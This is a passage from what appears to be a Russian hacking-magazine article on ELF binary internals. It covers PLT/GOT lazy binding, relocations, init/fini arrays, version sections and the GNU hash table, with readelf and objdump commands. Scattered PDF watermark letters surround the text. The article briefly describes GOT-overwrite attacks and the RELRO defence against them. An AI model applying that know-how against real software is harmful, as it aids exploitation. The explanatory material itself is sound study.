 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

c

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМ УСТРОЙСТВО ELF-ФАЙЛОВ В ПОДРОБНОСТЯХ

После этого найдем среди полученного кода функцию main().

Секция .plt и функция main() секции .text файла example_exit_notrack

Мы видим, что в main() вызовы функций puts() и exit() ведут в таблицу . plt. Сама таблица .plt в нашем случае состоит из трех элементов: первый элемент в этой таблице общий (и это справедливо для любых программ, независимо от количества вызываемых функций), остальные относятся к вызываемым функциям (их обычно именуют заглушками). В нашем случае второй элемент .plt относится к функции puts(), а третий — к функции exit( ).

При первом вызове функции, к примеру функции puts(), в соответствующем ей элементе таблицы .got (там, где должен храниться адрес этой функции) записывается адрес, который указывает внутрь таблицы .plt, как раз на тот элемент, который и относится к функции puts().

Первый вызов функции puts() при запуске файла example_exit_notrack

То есть при вызове в main() функции puts() (шаг 1 на предыдущем рисунке) мы попадаем на второй элемент таблицы .plt (в соответствующую функции puts() заглушку). Первая команда в этой заглушке — это команда косвенного перехода по адресу, который хранится в таблице .got (шаг 2 на предыдущем рисунке).

Если внимательно посмотреть на адрес в таблице .got, то можно увидеть, что это адрес следующей после jmp команды в заглушке функции puts(), в нашем случае это команда push 0x0. Таким образом, первая команда в заглушке фактически передает управление следующей за ней команде (шаг 3 на предыдущем рисунке). На первый взгляд, это не лучший способ организовать последовательное выполнение команд, однако, если проследить ход выполнения программы дальше, все станет более понятно.

Команда push кладет в стек целое число (в нашем случае это 0x0). Это число играет роль идентификатора для определения нужной нам функции, которую должен найти динамический загрузчик в разделяемой библиотеке. Следующая команда (шаг 4 на предыдущем рисунке) выполняет переход на первый элемент таблицы .plt (так называемая заглушка по умолчанию).

Заглушка по умолчанию с помощью команды push помещает в стек адрес структуры link_map, который берется также из таблицы .got (выше мы уже

говорили,

в

каком месте

.got должен храниться этот

адрес). Далее

(шаг 5

на

предыдущем

рисунке) выполняется переход

на функцию

_dl_runtime_resolve(), адрес которой также берется из .got. Таким образом, в качестве аргументов функции _dl_runtime_resolve() выступает адрес структуры link_map и целочисленный идентификатор функции, адрес которой необходимо найти.

Структура link_map представляет собой двухсвязный список, каждый элемент которого содержит имя загруженной в память библиотеки, адрес ее загрузки и адрес динамического раздела этой библиотеки (содержимое которого составляет секция .dynamic, о ней мы подробнее поговорим чуть позже). Проходя по этому списку, функция _dl_runtime_resolve() находит адрес размещения в памяти нужной библиотеки. Затем, используя информацию из . dynamic и идентификатор вызываемой функции, определяет адрес данной функции. Далее этот адрес записывается в нужное место в таблице .got, после чего выполняется переход по нему в вызываемую функцию.

Теперь при повторном вызове функции в соответствующем элементе таблицы .got будет лежать реальный адрес вызываемой функции в библиотеке и, соответственно, нужная функция будет вызвана напрямую из таблицы .got (шаг 3 на следующем рисунке).

Повторный вызов функции puts()

Наверняка у тебя возник вопрос: зачем нужна секция .got, если можно сразу записать адреса в соответствующие места секции .plt? Все дело в безопасности. Содержимое секции .plt, как мы уже выяснили, имеет флаг SHF_EXECINSTR, а позволять вносить изменения в исполняемый код с точки зрения безопасности не совсем хорошо. Соответственно, чтобы не создавать допускающие запись секции исполняемого кода, и был добавлен дополнительный уровень в виде таблицы .got.

Ссылки на перемещаемые символы данных, определенных во внешних библиотеках (к примеру, глобальные переменные, объявленные в разделяемых библиотеках с ключевым словом extern), тоже должны быть перенаправлены с использованием таблицы .got. Однако в отличие от функций ссылки на данные проходят через .got без посредничества .plt.

Иногда таблица глобальных смещений в ELF-файле может быть представлена двумя секциями .got и .got.plt. В этом случае секция .got предназначена для ссылок на элементы данных (и заполняется она сразу при запуске программы), а секция .got.plt — для хранения разрешенных адресов функций из разделяемых библиотек (при этом для доступа к ним используется таблица .plt). К примеру, если скомпилировать наш example_exit.c с помощью компилятора clang:

clang -o example_clang example_exit.c

то получим таблицу глобальных смещений в виде двух секций.

Секции .got и .got.plt в ELF-файле

Кстати, clang, в отличие от gcc, при компиляции нашего хелловорлда не оптимизирует код (не заменяет printf() puts()).

То же самое может быть и с таблицей связей процедур. Мы рассмотрели только секцию с именем .plt, однако на самом деле в нашем примере example_exit_notrack, скомпилированном с помощью gcc, можно увидеть еще одну секцию — .plt.got.

Дизассемблировав ее, получим заглушку, содержащую только один переход в область секции .got (для вызова функции __cxa_finalize() из библиотеки glibc), без занесения в стек идентификатора вызываемой функции и без вызова заглушки по умолчанию.

Дизассемблированная секция .plt.got в ELF-файле

Работа данной заглушки из .plt.got предполагает запись в нужное место секции .got реального адреса вызываемой функции сразу во время запуска программы (так же как и в случае с данными). Соответственно, выполняется прямой вызов нужной функции по этому адресу, как во время первого вызова, так и при последующих.

Этот механизм применяется, когда нужно использовать адрес функции в программе до ее первого вызова. К примеру, если дизассемблировать секцию .text (именно в ней располагается основной выполняемый программой код), мы увидим, что значение адреса уже знакомой нам функции __cxa_finalize() используется до того, как появляется необходимость ее вызывать.

Если задать переменную окружения LD_BIND_NOT:

LD_BIND_NOT=1

то таблица глобальных смещений обновляться не будет (то есть в нее не запишутся реальные адреса функции) и каждый вызов функции отработается как первый (с задействованием возможностей функции

_dl_runtime_resolve()).

Наличие или отсутствие секций .got.plt и .plt.got зависит от используемого компилятора и применения тех или иных опций при компиляции программ. К примеру, в файле example_clang, скомпилированном при помощи clang, секция.plt.got отсутствует.

Атаки с помощью перезаписи .got и защита от них

Несмотря на отсутствие у секций .got и .got.plt флага SHF_EXECINSTR (это означает, что содержимое секции не может быть выполнено), доступность этих секций для перезаписи дает возможность провести атаку, записав в таблицу глобальных смещений адрес другой функции или ROP-гаджета. Чтобы этого избежать, можно скомпилировать файл с применением защитного механизма под названием Relocation Read-Only (RELRO). Этот защитный механизм имеет два режима — частичный и полный. Для включения того или иного режима необходимо при компиляции использовать опцию -z (на самом деле эта опция относится к линковщику ld, и при использовании ее с gcc она ему передается):

-z norelro — не применять RELRO к компилируемой программе;

-z lazy — частичная защита;

-z now — полная защита.

При частичной защите секции .got и .got.plt (если они присутствуют в ELFфайле) размещаются перед секциями данных программы .data и .bss. Тем самым снижается риск переполнения буфера глобальной переменной. Также при наличии секции .got.plt в секцию .got запись во время выполнения запрещена (а мы помним, что в этом случае данные в нее записываются только при запуске программы). То есть в ней реализовано раннее связывание, которое происходит в момент запуска программы.

В секцию же .got.plt писать в ходе выполнения приложения не возбраняется. Как видишь, по большому счету частичный режим RELRO на самом деле мало от чего защищает. Проверить, с каким режимом RELRO была скомпилирована программа, можно с помощью небольшой утилиты checksec.

В режиме с полным RELRO, помимо того, что сделано в частичном, добавляется запрет на изменение всей таблицы глобальных смещений (и секции . got, и секции .got.plt). Как ты наверняка догадался, в этом случае никакого позднего связывания реализовано не будет. Все адреса экспортируемых из внешних библиотек функций и данных будут разрешены и записаны в таблицу глобальных смещений при запуске программы. Если экспортируемых функций много, приложение может загружаться ощутимо медленнее.

Весь разбор принципов динамического связывания мы проделали на примере ELF-файлов, скомпилированных с опцией -fcf-protection=none, при использовании которой защитный механизм indirect branch tracking выключен. Сейчас посмотрим, какие особенности вносит gcc в ELF-файлы при включенном indirect branch tracking. Для этого откомпилируем наш сегод-

няшний пример example_exit.c без опции -fcf-protection=none:

gcc -o example_exit example_exit.c

Работа indirect branch tracking основана на инструкции процессора ENDBRANCH. Она обозначает области в программе, на которые можно делать косвенные переходы с помощью инструкций call или jmp (как раз такие переходы и делаются с помощью секций .plt и .got). Если при косвенном переходе процессор не встречает этой команды, то вызывается исключение.

Итак, если посмотреть внутрь ELF-файла, скомпилированного с использованием данного механизма защиты, мы увидим, что количество секций уве-

личилось. К секциям .note.gnu.build-id и .note.ABI-tag добавилась сек-

ция note.gnu.property, а в таблице связей процедур к секциям .plt и .plt.

got — секция .plt.sec.

Секции .note.gnu.build-id, .note.ABI-tag и .note.gnu.property

Кратко рассмотрим секции, название которых начинается с .note. Как можно догадаться из названия, эти секции что-то поясняют:

.note.gnu.build-id содержит уникальный идентификатор сборки ELFфайла в виде значения из четырех байт;

.note.ABI-tag содержит идентификатор версии ABI, служащий в том числе и для определения типа целевой операционной системы;

.note.gnu.property содержит дополнительные сведения о свойствах программы, описывает особые требования к обработке для компоновщика и динамического загрузчика.

Посмотрим на содержимое этих секций, для чего воспользуемся readelf с опцией -n:

readelf -n -W example_pie

Содержимое разделов .note.gnu.build-id, .note.ABI-tag и .note.gnu.property

На рисунке видно, что в секции .note.gnu.property содержится информация о включенных механизмах защиты: indirect branch tracking и shadow stack.

Более подробно про секцию .note.gnu.property можно прочитать в рас-

сылке llvm-dev.

А в этом документе описаны особенности некоторых специальных секций

ELF-файлов, в том числе и секций .note.gnu.build-id, .note.ABI-tag и . note.gnu.property.

Секция .plt.sec и отличия в секциях .plt и .plt.got

Наличие этой секции вместе с секциями .plt.got и .plt (наряду с соответствующим признаком в .note.gnu.property) говорит о том, что в ELF-файле используется indirect branch tracking. Этот режим в GCC установлен по умолчанию (то есть если не указывать опцию -fcf-protection=none, то файл будет откомпилирован с использованием indirect branch tracking).

Попробуем дизассемблировать секцию .plt.got:

objdump -M intel --section .plt.got -d example_exit

Секция .plt.got

Видим, что секция .plt.got не претерпела особых изменений по сравнению с файлом, в котором выключен механизм защиты, кроме наличия в начале команды endbr64. Кстати, команда endbr64 (так же как и endbr32) на старых процессорах воспринимается как команда nop и, соответственно, будет работать без проблем на чипах, где данная команда не реализована (понятно, что indirect branch tracking в этом случае не сработает).

Дизассемблировав код из секций .plt и .plt.sec, мы увидим, что в отличие от файла без IBT часть кода из заглушек функций puts() и exit(), который ранее был размещен в секции .plt, перетекла в секцию .plt.sec. А в начале каждого места в коде, куда может быть выполнен косвенный переход, появилась команда endbr64. Общий принцип разрешения адресов остался таким же, хотя ход вызова функции немного изменился.

Ход вызова функции с задействованием секции .plt.sec

Когда мы исследовали принцип динамического связывания ELF-файлов с внешними разделяемыми библиотеками, мы говорили про идентификатор вызываемой функции, по значению которого функция _dl_runtime_resolve() из состава динамического компоновщика определяет, что за функцию необходимо найти. Возникает вопрос: а каким образом исходя из этого целочисленного значения идентификатора определяется имя нужной функции? Для этого в ELF-файле имеются таблицы перемещений с именами вида либо . rel.*, либо .rela.*. Познакомимся с ними поближе.

Секции .rel. и .rela.

Все секции такого вида имеют тип SHT_RELA и содержат информацию, которую динамический компоновщик использует для перемещений. Секции вида .rel. * состоят из элементов, каждый из которых представляет собой структуру типа Elf64_Rel или Elf32_Rel, в зависимости от разрядности ELF-файла. Секции вида .rela.* состоят из элементов со структурой Elf64_Rela или Elf32_Rela. Структура Elf64_Rela (Elf32_Rela) отличается от структуры Elf64_Rel (Elf32_Rel) наличием дополнительного поля r_addend, в котором содержится добавка к переразмещаемому адресу. В большинстве случаев в 32-разрядных программах используются секции вида .rel.*, а в 64-раз- рядных — секции вида .rela, при этом поле r_addend также в большинстве случаев равно нулю.

По сути, каждый элемент секций .rel.* или .rela.* хранит адрес, к которому нужно применить перемещение, и указание о том, как определить конкретное значение, которое нужно записать по этому адресу.

Итак, обратимся к нашему подопытному ELF-файлу example_exit. Видим, что в нем две секции — .rela.dyn и rela.plt. Первая говорит динамическому компоновщику, как переразмещать адреса функций или данных без использования таблицы связей процедур, вторая — как переразмещать адреса функций, использующих секции .plt, .plt.got или .plt.sec. Заглянем внутрь этих секций (напомню, что для этого необходимо использовать опцию -r утилиты readelf):

readelf -W -r example_exit

Содержимое секций .rela.dyn и .rela.plt файла example_exit

Начнем с секции .rela.plt. Здесь все достаточно просто: каждая строка — это один элемент секции, каждый из которых, в свою очередь, относится к той или иной функции. В нашем случае первая строка относится к функции puts(), вторая — к функции exit().

Так вот, номер строки (и индекс элемента в секции) соответствует тому значению идентификатора функции, по которому _dl_runtime_resolve() определяет имя нужной функции (при этом необходимо помнить, что нумерация почти всего и вся у нас начинается не с единицы, а с нуля). То есть идентификатор со значением 0x0 соответствует в нашем случае функции puts(), а идентификатор со значением 0x01 — функции exit(). Если вспомнить дизассемблированный вид секции .plt, при вызове функции puts() в стек кладется значение 0x0, а при вызове exit() — значение 0x01.

Идем дальше. Первый элемент строки показывает адрес, по которому динамический компоновщик должен записать нужное значение (это поле r_offset в структуре Elf64_Rela или Elf32_Rela). Видим, что эти адреса указывают на соответствующие места секции .got. Второй элемент строки (поле r_info) — это индекс символа, соответствующего функции (содержится

впервых четырех байтах значения), и тип перемещения (который хранится

воставшихся четырех байтах значения). Видим, что индекс символа для функции puts() равен 2, а индекс символа для функции exit() 5. Если обра-

титься к секции .dynsym нашего подопытного экземпляра, то увидим, что индексу 2 в этой секции соответствует символ функции puts(), а индексу 5 — символ функции exit().

Содержимое секции .dynsym файла example_exit

Сопоставив все это, функция _dl_runtime_resolve из динамического компоновщика находит имя библиотечной функции, адрес которой нужно определить.

Далее мы видим, что тип перемещения — R_X86_64_JUMP_SLOT. Данный тип перемещения — это так называемый слот перехода, который показывает, что по адресу, содержащемуся в поле r_offset, нужно записать адрес соответствующей функции из разделяемой библиотеки. Значение адреса в поле r_offset, как ты уже наверняка догадался, будет принадлежать области таблицы глобальных смещений. Типов перемещений существует много, про них можно прочитать в статье Игнасио Санмиллана.

В секции .rela.dyn содержится информация о перемещениях, которые выполняются без участия таблицы связей процедур. Видим, что для нашего файла example_exit она содержит восемь элементов. Первые два элемента показывают динамическому компоновщику, что по адресу 0x0000000000003db0 нужно поместить значение 0x1160, а по адресу

0000000000003db8 — значение 0x1120.

Если посмотреть на список всех секций в файле, то мы увидим, что адрес

0x0000000000003db0 — это адрес начала секции .init_array, а адрес

0000000000003db8 — адрес начала секции .fini_array. Тип перемещения R_X86_64_RELATIVE говорит о том, что по указанному адресу нужно поместить конкретное значение (в нашем случае это значения 0x1160 и 0x1120).

Секция .init_array содержит массив указателей на функции, используемые как конструкторы. Это могут быть конструкторы глобальных классов, если они инициализируются до вызова функции main(), либо функции, которые можно определить самому (такая функция объявляется с помощью конструкции вида void __attribute__((constructor)) my_init_func()).

Функции сюда может вставлять и сам компилятор. Эти функции вызываются по очереди во время загрузки при инициализации ELF-файла, еще до вызова функции main().

Данная секция не связана с уже знакомой нам секцией .init (ее мы рассмотрели в предыдущей статье), и функции, указатели на которые размещаются в .init_array, вызываются после завершения функции _init(), которая находится в секции .init.

Секция .fini_array аналогична по структуре секции .ini_array, только содержит адреса функций-деструкторов, которые вызываются после завершения функции main(). Здесь также могут присутствовать деструкторы глобальных классов, функции, объявленные самим программистом (в этом случае необходимо объявить такую функцию, как void __attribute__(( destructor)) my_destructor_func()), либо функции, вставленные ком-

пилятором.

Здесь, в отличие от конструкторов глобальных классов (если они есть в программе), присутствие адресов которых в секции .init_array обязательно, наличие адресов функций-деструкторов этих глобальных классов зависит от режима компиляции. При компиляции с помощью GCC с опцией -fno-use- cxa-atexit адреса деструкторов там будут присутствовать. В случае компиляции без этой опции адресов функций-деструкторов в секции не будет, а их вызов после завершения программы будет обеспечен использованием фун-

кции __cxa_atexit().

Вообще, ELF-файл может запускаться, а функции могут вызываться до и после основной функции main() по различным сценариям, зависящим от компилятора, от режимов и опций компиляции, от версии и разрядности Linux, да и много от чего еще. Это достаточно объемный вопрос, но в целом общее представление можно получить, прочитав вот эту статью.

В нашем случае эти две секции содержат по одному адресу и, соответственно, при инициализации программы и при ее завершении будет вызвана одна функция (при инициализации — функция по адресу 0x0000000000001160, при завершении — функция по адресу 0x0000000000001120). Если посмотреть на дизассемблированный код секции .text нашего файла, то можно увидеть, что по адресу 0x0000000000001160 находится функция с именем frame_dummy(). Ее вставил компилятор GCC, и именно она будет вызвана до вызова main(). А по адресу 0x0000000000001120 находится функция __do_global_dtors_aux() (ее также вставил в исполняемый код компилятор, и она будет вызвана, когда завершится выполнение функции main(), перед вызовом функции _fini() из секции .fini).

Функции frame_dummy() и __do_global_dtors_aux()

Продолжение статьи

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

ВЗЛОМ

w Click

to

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМ УСТРОЙСТВО ELF-ФАЙЛОВ В ПОДРОБНОСТЯХ

Также нужно отметить, что некоторые ELF-файлы используют секции .ctors и .dtors с аналогичными функциями (это характерно для старых версий GCC).

Задача функции frame_dummy() — установить аргументы и вызвать фун- кцию register_tm_clones(), которая, в свою очередь, инициализирует транзакционную память. Эта память используется для упрощения работы с потока- ми. В нашем случае frame_dummy() никакие параметры не выставляет и транзакционная память не используется.

Функция __do_global_dtors_aux() вызывает функции-деструкторы, адреса которых содержатся в .fini_array или были зарегистрированы с помощью функции __cxa_atexit(). В нашем случае таких функций-деструкторов нет, поэтому данная функция при вызове не выполняет никакой полезной работы.

Далее в секции .rela.dyn (в третьей строке) видим нечто (а именно число 0x4008), что записывается по адресу 0x0000000000004008. Это адрес, в который будет помещен дескриптор глобального объекта (в случае его создания). Этим глобальным объектом может быть, например, тот самый экземпляр класса, инициализированный до запуска функции main(). Указанный дескриптор нужен для определения того, какой деструктор необходимо вызвать для конкретного глобального объекта.

После чего в секции идет информация о перемещении для нескольких функций, которые GCC добавляет в код. Тип перемещения R_X86_64_GLOB_DAT говорит компоновщику, что по адресам, указанным в поле r_offset каждой записи секции, нужно поместить конкретные значения адресов этих функций, по которым они размещены в тексте программы. Сделать это нужно при запуске программы, а не при первом вызове функции.

Всвою очередь, адреса, указанные в поле r_offset каждой записи, лежат

вобласти таблицы глобальных смещений. То есть эти функции (в отличие от функций puts() и exit()) будут вызываться напрямую без промежуточного

трамплина в виде таблицы связей процедур. Индексы символов этих функций

всекции .dynsym, так же как и в случае с функциями puts() и exit(), лежат

впервой половине значения поля r_info.

Тип перемещения R_X86_64_GLOB_DAT используется для размещения адресов данных или адресов функций, значения которых могут понадобиться еще до вызова самих этих функций. Если посмотреть на дизассемблированный код секции .tex нашего ELF-файла, то видно, что именно поэтому для данных функций был выбран тип перемещения R_X86_64_GLOB_DAT.

Если говорить о функциях, которые добавил GCC, то эти функции содержатся в объектном модуле crtbeginS.o или библиотеке glibc. Модуль crtbeginS.o — это часть компилятора GCC (хотя функции из него могут использовать и другие компиляторы, например clang).

Функции _ITM_deregisterTMCloneTable()

и _ITM_registerTMCloneTable() (из модуля crtbeginS.o, которые, в свою очередь, этот модуль дергает из библиотеки libitm.a) используются

для организации работы с транзакционной памятью и вызываются из функций register_tm_clones() и deregister_tm_clones(), о которых мы уже говорили выше.

Функция __libc_start_main() (из библиотеки glibc) очень важна — именно с этой функции по большому счету начинается выполнение программы, именно она вызывается в функции _start(), определяет параметры командной строки и запускает уже основную функцию программы main().

Про функцию __gmon_start__() мы уже говорили в предыдущей статье, ее задача — запустить профилировщик, если ELF-файл скомпилирован с опцией - pg. Функция __cxa_finalize() (из библиотеки glibc) реализует запуск всех деструкторов, адреса которых лежат в .fini_array или зарегистрированы

с помощью __cxa_atexit(), она как раз и используется в __do_global_dtors_aux().

Секция .dynamic

Это своеобразная дорожная карта для динамического компоновщика во время загрузки и подготовки к выполнению ELF-файла. Каждая запись в этой секции представляет собой структуру типа Elf64_Dyn (или Elf32_Dyn). В общем-то, тип содержащейся в каждой записи информации определяется значением поля тега d_tag, а все возможные значения тегов перечислены в файле /usr/ include/elf.h. Заглянем внутрь секции .dynamic нашего подопытного ELFфайла:

readelf -d -W example_exit

Содержимое секции .dynamic ELF-файла example_exit

Из первой строчки, например, видно (теги со значением DT_NEEDED сообщают динамическому компоновщику о зависимостях ELF-файла), что файл имеет зависимость от разделяемой библиотеки libc.so.6 (это как раз та самая библиотека glibc, которая обеспечивает системные вызовы и основные функции). Помимо этого, секция содержит в себе другие важные данные, необходимые динамическому компоновщику для работы. Например, адреса начала секций . init и .fini (теги DT_INIT и DT_FINI соответственно), адреса начала секций

.init_array и .fini_array (теги DT_INIT_ARRAY и DT_FINI_ARRAY) и их размеры (теги DT_INIT_ARRAYSZ и DT_FINI_ARRAYSZ).

Теги DT_VERNEED и DT_VERNEEDNUM информируют о начальном адресе и количестве записей для секции .gnu.version_r, в которой хранятся ожидаемые номера версий зависимостей ELF-файла. Тег DT_VERSYM показывает начальный адрес секции .gnu.version, в которой хранятся зависимости для каждого символа из секции .dynsym. На адрес начала секции .dynsym указывает тег DT_SYMTAB, в свою очередь, тег DT_SYMENT содержит размер одной записи секции .dynsym.

Типов тегов довольно много, рассмотреть их все в рамках статьи не представляется возможным, однако комментарии в файле /usr/include/elf.h достаточно исчерпывающие и позволят легко определить, что означает тот или иной тег.

Секции .gnu.version, gnu.version_r и gnu.version_d

Секции .gnu.version, gnu.version_r содержат, как мы определились, информацию о зависимостях. Начнем с секции .gnu.version_r. Первое, что необходимо отметить, — указанная секция может содержать в себе одну запись или более. Каждая запись относится к одному файлу библиотеки, при этом одна запись (для одного файла библиотеки) может содержать информацию о нескольких зависимостях. То есть, к примеру, для файла библиотеки libc.so.6 может быть две зависимости GLIBC_2.2.5 и GLIBC_2.2.4, может быть больше, а может и одна (например, только GLIBC_2.2.5). Для примера можно посмотреть зависимости какого-нибудь файла библиотеки из состава операционной системы. Я взял /usr/lib/x86_64-linux-gnu/

libstdc++.so.6:

readelf -V -W libstdc++.so.6

Зависимости из libc.so.6 в /usr/lib/x86_64-linux-gnu/libstdc++.so.6

Видим десять зависимостей из файла libc.so.6. Формат одной записи (для одного файла библиотеки) определен структурой Elf64_Verned или Elf32_Verned (напомню, что все это можно посмотреть в файле /usr/ include/elf.h). Первый элемент этой структуры (поле vn_version) содержит номер версии структуры записи о зависимостях (в настоящее время это значение равно единице). Далее идет число зависимостей в этой записи (поле vn_cnt), после чего в поле vn_file — смещение на строку с именем файла библиотеки в секции .dynstr. Следующее поле vn_aux — смещение на данные о первой зависимости, далее (поле vn_next) — на следующую запись о зависимостях (уже для другого файла).

Каждая зависимость, в свою очередь, определена структурой Elf64_Vernaux (Elf32_Vernaux). В этой структуре можно увидеть поле vna_hash, в котором содержится так называемый SysV-хеш от имени зависимости. Следующее поле называется vna_flags, его значение обычно равно 0x0, далее идет поле vna_other, в котором лежит номер версии зависимости (утилита readelf выводит его с опцией -V).

Затем следует поле vna_name, содержащее смещение на строку с именем зависимости в секции .dynstr. В завершение этого идет смещение на следующую порцию данных об очередной зависимости в текущей записи. На рисунке ниже все это продемонстрировано в схематичном виде (не забывай, что байты в памяти следуют в обратном порядке).

Содержимое секции .gnu.version_r файла example_exit

С принципами подсчета SysV-хеша можно познакомиться, посмотрев исходники Python-проекта pwntools. Функция sysv_hash() находится в файле dynelf.py модуля pwnlib. Вообще, этот проект желательно изучить поближе и подробнее, поскольку в нем собран весьма неплохой арсенал для исследования ELF-файлов. Что касается SysV-хеша, то это можно реализовать следующим образом (разумеется, не забыв при этом установить саму библиотеку

pwntools):

from pwnlib.dynelf import sysv_hash

print(hex(sysv_hash("GLIBC_2.2.5")))

В секции .gnu.version лежат зависимости для каждого символа из секции . dynsym. Каждому символу из секции .dynsym соответствует двухбайтовое значение из секции .gnu.version. При этом указанное значение совпадает с полем vna_other из области данных записи в секции .gnu.version_r, которая относится к этой зависимости.

Соответствие символов из секции .dynsym элементам секции .gnu.version

файла example_exit

Секция .gnu.version_d имеется только в динамических библиотеках. Указанная секция обеспечивает ассоциацию символов с нужными зависимостями. Элементы секции определены структурами Elf64_Verdef (Elf32_Verdef)

и Elf64_Verdaux (Elf32_Verdaux). По аналогии с .gnu.version_r в первой структуре присутствует поле, содержащее смещение на массив элементов, определенных второй структурой.

При этом данный массив, как правило, состоит из одного или двух элементов с записями о зависимостях. Если в массиве содержатся два элемента, то второй обозначает предка для зависимости, описанной в первом элементе. Более наглядно это можно увидеть на следующем рисунке (для примера в данном случае взята библиотека libdl-2.31.so).

Содержимое секции .gnu.version_d файла libdl-2.31.so

ВElf64_Verdef (Elf32_Verdef) можно увидеть:

номер версии структуры записи о зависимостях (поле vd_version с таким же, как и в поле vn_version секции .gnu.version_r, значением);

информацию, необходимую для определения версии (поле vd_flags);

индекс (поле vd_ndx, по значению которого определяют зависимости для символов в секции .gnu.version);

число элементов типа Elf64_Verdaux или Elf32_Verdaux (поле vd_cnt);

значение SysV-хеша от строки с именем зависимости (поле vd_hash);

• смещение на начало массива элементов Elf64_Verdaux или Elf32_Verdaux и смещение на начало следующего элемента типа

Elf64_Verdef или Elf32_Verdef.

Поле vd_flags может иметь следующие значения:

0x0 — для версии имеется связанный с ней символ;

0x01 — определение версии для самого файла библиотеки (значение

VER_FLG_BASE);

0x02 — для версии нет связанных с ней символов (VER_FLG_WEAK).

Элемент типа Elf64_Verdaux (Elf32_Verdaux) содержит смещение на строку с именем зависимости в секции .dynstr и смещение на следующий элемент

типа Elf64_Verdaux (Elf32_Verdaux).

Значение поля vd_ndx, так же как и поля vna_other из Elf64_Vernaux

(Elf64_Vernaux), определяет нужную зависимость для конкретного символа в секции .gnu.version.

Взаимосвязь полей vd_ndx и vna_other с секцией .gnu.version

Более подробно и детально про секции, связанные с информацией о зависимостях, можно почитать в документации Oracle и в блоге

MaskRay.

Секция .gnu.hash

В этом разделе хранится хеш-таблица, которая ускоряет поиск символов для динамического компоновщика. Также иногда можно встретить секцию с названием .hash. Назначение этой секции такое же, однако секция .hash — это так называемая хеш-таблица старого стиля (кстати, в этом случае для подсчета значения хеша от символа используется уже знакомый нам алгоритм

SysV-хеш).

В настоящее время таблицы старого стиля встречаются все реже и реже, поэтому основное внимание мы сосредоточим на хеш-таблице нового стиля с использованием так называемого GNU-хеша. Если интересно, о таблице старого стиля почитай в блоге apenguin.me. С алгоритмом подсчета GNU-хеша можно познакомиться, покопавшись в исходниках проекта pwntools. Функция gnu_hash(), так же как и sysv_hash(), находится в файле dynelf.py модуля

pwnlib.

Основное отличие нового стиля таблицы от старого — использование фильтра Блума, чтобы определить запись с заданным хеш-значением.

Содержимое секции .gnu.hash можно представить в виде следующей структуры:

struct gnu_hash_table {

uint32_t nbuckets;

uint32_t symbias;

uint32_t bitmask_nwords;

uint32_t bloom_shift;

uint64_t bitmask[bitmask_nwords]; // uint32_t для

32-разрядных ELF-файлов

uint32_t bucket[nbuckets];

uint32_t chain[];

};

Структура секции .gnu.hash (для 64-разрядных ELF-файлов)

Взаголовке секции указывается:

nbackets — число так называемых корзин (в общем-то, «корзина» — это четырехбайтовая переменная, в которой хранится значение одного из индексов таблицы .dynsym);

symbias — число символов в .dynsym, для которых не определено хеш-значений;

bitmask_nwords — число битовых масок в фильтре Блума (зависит от количества символов, для которых значения хешей определены);

bloom_shift — счетчик сдвигов, необходимый для работы фильтра Блума.

Если есть желание ознакомиться с оригинальным алгоритмом фильтра Блума непосредственно из компоновщика ld.so, то можно поизучать его исходники в части, касающейся функции

do_lookup_x().

После заголовка в секции размещается массив битовых масок bitmask, размерностью, как ты уже догадался, bitmask_nwords. Размер каждой битовой маски в этом массиве для 64-разрядных ELF-файлов составляет восемь байт, для 32-разрядных — четыре. После битовых масок фильтра Блума идет массив bucket, размер которого составляет nbuckets, и завершается это все массивом chain.

Размер этого массива равен числу символов, для которых определены значения хешей (то есть тех, для поиска которых будет применяться секция .gnu. hash). Элементами этого массива являются значения GNU-хешей символов. Весь массив chain делится на цепочки, при этом длина цепочек (количество GNU-хешей символов в цепочке) может быть разным. Каждая из этих цепочек соответствует одному из элементов массива bucket, а в элементе массива bucket содержится индекс первого символа, со значения GNU-хеша которого начинается соответствующая цепочка в массиве chain. Чтобы определить, к какому элементу массива bucket будет принадлежать тот или иной символ (то есть в какую из цепочек массива chain попадет хеш того или иного символа), используется результат взятия остатка от деления значения GNU-хеша символа на значение nbuckets.

